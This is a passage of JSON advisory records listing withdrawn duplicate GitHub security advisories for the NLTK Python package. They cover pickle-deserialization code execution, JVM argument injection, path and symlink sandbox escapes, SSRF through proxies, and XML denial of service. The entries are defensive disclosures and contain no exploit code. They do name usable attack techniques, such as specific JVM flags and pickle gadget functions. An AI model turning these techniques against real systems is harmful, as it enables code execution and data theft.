external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a quadratic CPU exhaustion vulnerability in XMLCorpusView._read_xml_fragment() that rescans accumulated XML fragments on every 1 KiB block read. Attackers can provide malformed XML corpus files to cause severe CPU consumption and denial of service through affected readers like BNCCorpusReader.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:29.000Z","withdrawn_at":"2026-09-02T14:34:01.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7","https://nvd.nist.gov/vuln/detail/CVE-2026-81723","https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview","https://github.com/advisories/GHSA-hqv3-xm29-p9hq"],"source_kind":"github","identifiers":["GHSA-hqv3-xm29-p9hq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.286Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","url":"https://github.com/advisories/GHSA-3h2g-j4wp-7qqq","title":"Duplicate Advisory: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m4rf-3fr8-xwx3. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-01T20:38:13.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3","https://nvd.nist.gov/vuln/detail/CVE-2026-79675","https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options","https://github.com/advisories/GHSA-3h2g-j4wp-7qqq"],"source_kind":"github","identifiers":["GHSA-3h2g-j4wp-7qqq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T00:00:14.441Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","url":"https://github.com/advisories/GHSA-rcw8-9qrw-27m2","title":"Duplicate Advisory: NLTK: Corpus Reader Sandbox Bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3gq4-3j92-5w49. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-02T14:48:44.000Z","classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49","https://nvd.nist.gov/vuln/detail/CVE-2026-79674","https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors","https://github.com/advisories/GHSA-rcw8-9qrw-27m2"],"source_kind":"github","identifiers":["GHSA-rcw8-9qrw-27m2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.266Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","url":"https://github.com/advisories/GHSA-w5q8-6jpp-4246","title":"Duplicate Advisory: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-p4rw-rvv2-7xwr. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a path traversal vulnerability in corpus readers that reopen root-derived paths using built-in open() instead of nltk.pathsec.open(), allowing symlinks to escape trusted roots. Attackers who stage symlinked corpus files under a trusted data root can disclose outside-root content through normal corpus reader methods like channels(), domains(), and synonyms().","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-02T14:49:21.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr","https://nvd.nist.gov/vuln/detail/CVE-2026-79676","https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass","https://github.com/advisories/GHSA-w5q8-6jpp-4246"],"source_kind":"github","identifiers":["GHSA-w5q8-6jpp-4246"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.265Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","url":"https://github.com/advisories/GHSA-vp9c-2pjm-8925","title":"Duplicate Advisory: Allowlisted pickle loaders still permit code execution in current source","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x99w-6fgc-pmfw. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer._execute and numpy.f2py.crackfortran.myeval through pickle REDUCE to execute arbitrary commands during model or tokenizer artifact loading.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T12:31:25.000Z","withdrawn_at":"2026-09-02T14:41:02.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw","https://nvd.nist.gov/vuln/detail/CVE-2026-79657","https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-vp9c-2pjm-8925"],"source_kind":"github","identifiers":["GHSA-vp9c-2pjm-8925"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.278Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","url":"https://github.com/advisories/GHSA-crp9-r7rq-c8cg","title":"Duplicate Advisory: pathsec SSRF protection can be bypassed when a proxy is configured","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6ww7-3frv-cqxh. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a server-side request forgery vulnerability in nltk.pathsec.urlopen (and callers nltk.data.load, nltk.downloader.Downloader.index/download) when an HTTP proxy is configured. pathsec.urlopen validates the requested hostname locally, but proxy-handler inheritance disables the safe HTTP/HTTPS handlers so the actual fetch is performed by the proxy against a destination that is never re-validated. An attacker can supply a validated public URL that the proxy forwards to an internal loopback-only service, allowing disclosure of internal HTTP resources, loading of forged downloader indexes, and installation of attacker-chosen package content.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:40:01.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh","https://nvd.nist.gov/vuln/detail/CVE-2026-78682","https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy","https://github.com/advisories/GHSA-crp9-r7rq-c8cg"],"source_kind":"github","identifiers":["GHSA-crp9-r7rq-c8cg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.278Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","url":"https://github.com/advisories/GHSA-54xp-3ww7-6wjg","title":"Duplicate Advisory: Uncontrolled search path when invoking the Graphviz 'dot' binary (CWE-426/CWE-427)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6hwm-xvph-95vm. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent._repr_svg_, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-01T20:25:22.000Z","classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm","https://nvd.nist.gov/vuln/detail/CVE-2026-78680","https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary","https://github.com/advisories/GHSA-54xp-3ww7-6wjg"],"source_kind":"github","identifiers":["GHSA-54xp-3ww7-6wjg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T00:00:14.442Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","url":"https://github.com/advisories/GHSA-gx65-c5hj-vpv5","title":"Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:40:50.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2","https://nvd.nist.gov/vuln/detail/CVE-2026-78683","https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-gx65-c5hj-vpv5"],"source_kind":"github","identifiers":["GHSA-gx65-c5hj-vpv5"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.278Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","url":"https://github.com/advisories/GHSA-jx89-3qg8-p2mr","title":"Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:39:54.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7","https://nvd.nist.gov/vuln/detail/CVE-2026-78681","https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree","https://github.com/advisories/GHSA-jx89-3qg8-p2mr"],"source_kind":"github","identifiers":["GHSA-jx89-3qg8-p2mr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.279Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","url":"https://github.com/advisories/GHSA-8h9m-22mv-qv5r","title":"Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:04.000Z","withdrawn_at":"2026-09-02T14:48:09.000Z","classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9","https://nvd.nist.gov/vuln/detail/CVE-2026-70626","https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader","https://github.com/advisories/GHSA-8h9m-22mv-qv5r"],"source_kind":"github","identifiers":["GHSA-8h9m-22mv-qv5r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.267Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","url":"https://github.com/advisories/GHSA-343m-9fqq-97c7","title":"Duplicate Advisory: NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3hhw-38pf-pxj6. This link is maintained to preserve external references.\n\n## Original Description\nnltk versions before 3.10.2 contain a symlink-based arbitrary file read vulnerability in IPIPANCorpusReader methods that bypass nltk.pathsec validation entirely. Attackers can place a symlink in the corpus root directory and read arbitrary files accessible to the process by calling channels(), domains(), categories(), or fileids() methods with the symlink filename.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:35.000Z","classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6","https://nvd.nist.gov/vuln/detail/CVE-2026-62383","https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read","https://github.com/advisories/GHSA-343m-9fqq-97c7"],"source_kind":"github","identifiers":["GHSA-343m-9fqq-97c7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.268Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","url":"https://github.com/advisories/GHSA-8w48-h75v-cxpv","title":"Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:48:21.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8","https://nvd.nist.gov/vuln/detail/CVE-2026-63312","https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read","https://github.com/advisories/GHSA-8w48-h75v-cxpv"],"source_kind":"github","identifiers":["GHSA-8w48-h75v-cxpv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.266Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","url":"https://github.com/advisories/GHSA-79ph-w9m5-4v5m","title":"Duplicate Advisory: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-72r2-7mfr-5xr9. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 contain a logic bug in FileSystemPathPointer.open() where the sandbox validation check compares a normalized path against itself, making the security check permanently inert. Attackers can pass file:// URLs to nltk.data.load() to read arbitrary files accessible to the process user, including credentials and configuration 